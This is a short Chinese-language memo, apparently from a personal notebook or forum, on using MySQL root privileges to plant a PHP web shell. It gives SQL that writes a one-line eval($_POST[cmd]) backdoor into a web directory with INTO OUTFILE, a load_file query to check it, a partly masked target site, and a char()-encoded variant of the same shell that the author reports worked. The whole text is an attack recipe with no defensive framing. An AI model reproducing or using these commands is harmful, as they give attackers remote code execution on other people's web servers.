Mysql root导shell

Mysql导shell

Select '<?php eval($_POST[cmd]);?>' into outfile 'E:/wwwroot/china/eval.php';//导shell,访问报错,详情不解

select load_file('E:/wwwroot/china/eval.php');//读shell,检查shell完整性

http://www.xxxxxxx.cn/eval.php

 

经过asc码格式导成功了。连接密码,cmd

select concat(char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62))  into outfile 'E:/wwwroot/china/s.php';